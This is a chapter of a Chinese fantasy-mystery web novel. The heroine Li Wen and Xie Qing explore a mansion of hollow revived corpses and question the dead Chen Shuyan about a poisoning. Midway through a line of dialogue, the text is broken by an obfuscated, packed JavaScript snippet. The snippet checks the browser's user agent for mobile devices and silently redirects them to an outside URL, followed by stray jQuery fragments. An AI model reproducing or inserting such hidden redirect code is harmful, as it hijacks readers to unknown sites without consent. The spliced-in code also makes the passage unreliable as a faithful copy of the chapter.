43. 陈书砚和前院其他的“人”不一样……
作品:《黑月光拒绝被救赎》 这边没有,这边也没有。
离温站在门口,掌心中的红线往陈府各处无限延伸,但是线的那端始终没有反应。
一段时间过去了,离温终于收回红线。
她不得不承认,陈府并没有兽师潜伏。
离温就像一个透明人,站在那里许久也没人注意到她。
天色越来越暗了,但是陈府这些死而复生的“人”似乎并不在乎,依旧各做各的事情。
一时半会她是出不去了,不如进去找找线索。
离温摘下碍事的面纱塞进衣服里,顺着石板路走进陈府。
陈府并不大,主堂也点着灯,隐约能看见一个女子坐在那里,正伏案写着什么东西。
离温走近了才发现,女子右臂的袖子空空荡荡,是陈老太。
验尸的时候,陈书砚的尸体是最特殊的一个,沈仵作说她很可能在被下毒之前心脏已经开始衰竭,也很有可能见过凶手。
离温决定从她入手调查。
主堂只有陈书砚一人,离温踏进门的瞬间,她似乎是有所感应般抬起头。
陈书砚和前院其他的“人”不一样。
离温甚至觉得她在看自己。
这张略显疲惫的脸她白天还在太平间见过,一想到眼前的人在五天前就已经死了,而衣服下的身体在她的眼前被冰冷的刀具剖开,离温就感觉头皮发麻。
离温试着往左移了一步,陈书砚的眼神也跟着她移动。
她又往右走回到原地,陈书砚的视线便一直在她身上。
陈书砚忽然笑了。
“别玩了,过来让我看看你。”
她眯起眼睛笑,眼角有几条皱纹。
或许是这个笑容很真诚,或许是她是所有人口中心地善良的陈老太,离温并没有感到害怕,反而觉得面前的人是一个许久未见的长辈。
离温听话地走近,来到她身边。
陈书砚也站起来,伸出完好的左臂,冰冷的手抚上离温的侧脸。
“长大了。”她说。
离温没有躲开这个小心翼翼的触碰,心想陈老太可能是把她当做柳烟了。
“朝中的事情太多,父亲抽不开身。他也不放心让我和母亲单独回来。”离温扮演着柳烟的角色回答着。
“陈姨,我很想你。”
她用余光瞥向桌子,想要看看陈书砚在写什么东西。
事实上,陈书砚不是在写,是在画一幅肖像。
借着烛光,离温终于看清楚纸上的画像是什么人后,她的瞳孔骤缩。
陈书砚无奈地笑着摇摇头:“我老了,但还不瞎。”她摸了摸离温的头,“你不是柳烟,你是离温,你是钟满的妹妹。”
离温只想到阿姊调查的事情和陈府有关,但是她万万没有想到阿姊竟然和陈书砚认识。
陈书砚摇摇头,伸出手指摁住她的嘴唇,堵住了离温的话。
“我知道你有很多疑问,但现在还不是时候,你要自己去找。”她朝外看了一眼,“他来了。”
“‘他’是谁?”离温问。但陈书砚只是看着她不说话。
越来越重的烟味钻进离温的鼻腔,离温大惊:“哪里着火了吗?”
陈府她还没调查完,如果真起了火,证据不仅会毁于一旦,她自己能不能活着出去都是一个问题。
离温转身跑出正堂,她发现了一个很不对劲的地方。
她只闻到了浓烟的味道,却没有看见任何火光,更别说燃烧的黑烟了。
但是刺鼻的感觉和周围越来越高的温度绝对不是她的幻觉。
那就只有一个可能,是外面的陈府起火了。
火光冲天而起,明府院墙之上的灰烟淡了一些,明之廷赶忙指挥着众人灭火。
附近正在睡觉的百姓也闻到了呛鼻的味道,从梦中惊醒,纷纷拿起水桶装满水就赶出来灭火。
一波未平一波又起,明之廷简直焦头烂额。
柳小姐的小丫鬟不久前急匆匆地骑马离开,不知道去了哪里。
他只能祈祷被困在府里的柳小姐能够平安。
周围温度越来越高,过不了多久,离温就会被这无形的火活活烤死,她决定先离开。
她记得明之廷说过,晚上的陈府存在一扇门,踏进去就能从里面出来。
离温几乎走遍陈府,将门一扇一扇的推开,进去,然后出来。但却始终找不到明之廷口中的那扇门。
难道是因为时间还没有到?
在这期间,离温也终于发现府内的“人”有了其他的反应。
越靠近后院,温度越高,那里无疑是火灾的源头,而这些“人”都在往前院跑。
离温咬紧牙,往后院走。
一个小丫鬟走得急撞到了她,然后往后一仰就要摔在地上。
离温下意识地伸出手想要拉她一把,手却在半空中被一团黑雾缠绕动弹不得。
“别碰它!”
黑雾中一只修长的手伸出来,而后是黑色的衣袖,颀长的身躯,熟悉的金瞳以及极具特色的头发。
谢轻的手捏在她的手腕上,眼睛里满是担忧。
“身上可能有毒,不要碰它。”
撞到离温的丫鬟倒在地上,而后又迅速爬起来,绕过两人离开。
离温震惊:“你是怎么进来的?”
谢轻松开她。
“你的玉牌。”
离温从胸口拿出谢家的玉牌,上面的黑色雾气还未完全散去。
“对不起。”谢轻二话不说先道歉,“我不该未经你的允许就用玉牌定位你的位置。”
他说:“但是和你同行的女子说你被困在陈府了,这是找到你的最快的方法。”
离温把玉牌放回胸口。
“这是特殊情况,你不需要道歉。其实你来的很及时。”
她拉起谢轻,转身去追离开的丫鬟。
“走,刚才撞到我的那个‘人’有问题。”
“什么问题?”谢轻任由离温拉着,跟上她的脚步。
离温说:“重量不对。刚才那个速度,就是一个三岁的孩子撞上来我也会有一点痛,更何况是一个大人。”
“她撞到我的时候我几乎没有感觉,就像一阵风一样,她自己却被反弹出去了。”
两人跑到了前院,陈府的人都聚集在门口,陈老太也在其中,但只有她神情不乱。
离温放开谢轻,快跑两步追上那个丫鬟把她拦腰抱起。
“没事的。”她对伸手阻止的谢轻摇摇头,“在你来之前我已经碰过它们了,就算有毒,我应该已经早就中招了。”
她掂了掂怀中的‘人’,把她放下。然后走到“人群”,一个一个尝试。
离温验证了自己的想法,她只用一只手就能把它们拎起来。
只有陈老太稍微重一点点,但相较于正常人的重量,这个“一点点”可以忽略不计。
离温可以确信了,这些东西不是人。
她把结论告诉了谢轻。
谢轻:“空有皮囊,没有血肉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782119|172722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。确实算不上是人了。”
陈书砚一直观察着两人,她指着谢轻问道离温:“这是你的爱人吗?”
离温:?
谢轻:!
“不是!”离温想也没想就否定了,她慌张地又重复了一遍,“不是他。”
听到离温下意识的回答,一旁的谢轻沉默了。
离温心想如果他的尾巴在,此时一定已经耷拉下去了。
陈书砚了然地点点头。
“哦,还没追上。”
在离温走神的时候,谢轻对着她小幅度地点了点头。
气氛一时有些诡异。
一片沉默中,谢轻率先察觉到变化。
“温度好像降了一点。”
离温点点头:“火好像已经灭了。”
“人群”开始有动作了。
离温和谢轻对视一眼,神色瞬间严肃了起来,给它们让了条路。
这些慌里慌张跑来前院的“人”,在温度下降后又回到了原来的位置。
陈书砚也回到主堂,拿起笔,继续她那未完成的肖像。
离温让谢轻去跟踪观察其他人。
她则看着陈书砚,冷漠地说道:“你已经死了。”
陈书砚手下的笔一顿,墨迹在纸上晕出一小块黑点。
“我知道。我们都死了。”
离温:“你和它们不一样。它们只是在重复自己生前做过的事情,但你有自己的意识。陈姨,能告诉我那天发生了什么吗?你看到凶手了吗?”
陈书砚对她的话不为所动:“你今天从我这里问不出来什么。”
离温:“陈钰呢?她在都城被人追杀,差点和你们一样毒血攻心,心脏衰竭而死。一日找不到凶手,她就一日处在危险当中。”
陈书砚低着头,烛火越来越暗,她拿起烛台往金处移了移。
“谢谢你。”她说,“谢谢你救了她。”
离温站在背光,淡淡道:“我可没有说是我救了陈钰。”
陈书砚:“……”
离温知道自己猜对了。
她早就觉得那封送到客栈告诉她陈钰有危险的信有问题。
离温:“那封信果然和你们有关。你们知道自己躲不过这一劫,只能尽力保陈钰。这件事情我阿姊也参与了吧。给我送信的是她?”
陈书砚没想到自己竟然被小孩摆了一道,她不再说话也不再看离温。
之后无论离温说什么,她都没有任何反应。
离温见问不出什么,便搬了把椅子坐在她旁边,看着她一笔一笔将人像画完。
陈书砚在画钟满。
画中的她身披盔甲坐在马上,手里拿着太平剑,意气风发,脸上的神情仿佛在说“此战必胜”。
离温从未在阿姊脸上见过这种表情。
早在无央国擂台比试的时候,她就猜到阿姊可能就是那些人口中的百战百胜的女将军。
尽管和她记忆里的阿姊大相径庭。
她也曾想象过阿姊上战场的样子,但此刻见到了实物,那种割裂感才真正的消失。
她不自觉地凑近去看,但是陈书砚将画卷了起来,然后起身准备离开。
离温也跟着出去,正好撞上赶回来的谢轻。
“这些东西都往一个方向去了。”他说。
离温抬头望天,并没有到鸡鸣的时间。
陈书砚也朝后院走去。
离温重新拿出面纱戴上,然后拍了一下谢轻的小臂:“走,我们先出去。”